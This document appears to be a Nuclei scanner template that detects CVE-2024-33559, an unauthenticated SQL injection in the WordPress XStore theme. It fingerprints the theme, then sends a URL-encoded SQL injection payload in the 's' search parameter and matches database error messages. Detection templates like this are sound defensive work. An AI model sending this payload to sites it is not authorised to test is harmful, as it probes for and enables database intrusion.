WordPress XStore Theme - SQL Injection

id: CVE-2024-33559

info:
  name: WordPress XStore Theme - SQL Injection
  author: Haliteroglu
  severity: critical
  description: |
    SQL Injection vulnerability in the WordPress XStore Theme (CVE-2024-33559). This flaw allows remote unauthenticated attackers to execute arbitrary SQL queries via the 's' query parameter in a POST request.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33559
    - https://xstore.8theme.com/
    - https://github.com/absholi7ly/WordPress-XStore-theme-SQL-Injection
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33559
    - https://sploitus.com/exploit?id=EDB-ID:52019
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2024-33559
    cwe-id: CWE-89
    epss-score: 0.03565
    epss-percentile: 0.87175
  tags: cve,cve2024,wordpress,xstore,sqli,wp,demo

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Copyright") && contains(body,"XStore Theme")'
          - "status_code == 200"
        condition: and
        internal: true

  - raw:
      - |
        POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "WordPress database error"
          - "You have an error in your SQL syntax"
        condition: or
# digest: 4b0a00483046022100a92977091987c9b0bf5bce5812d962fcd173e7544d97871beb871ecbae0bf7a6022100ee25ed6fec795d908dad048fd743723839581fd778727480bf9686f1a6e0983d:922c64590222798bb761d5b6d8e72950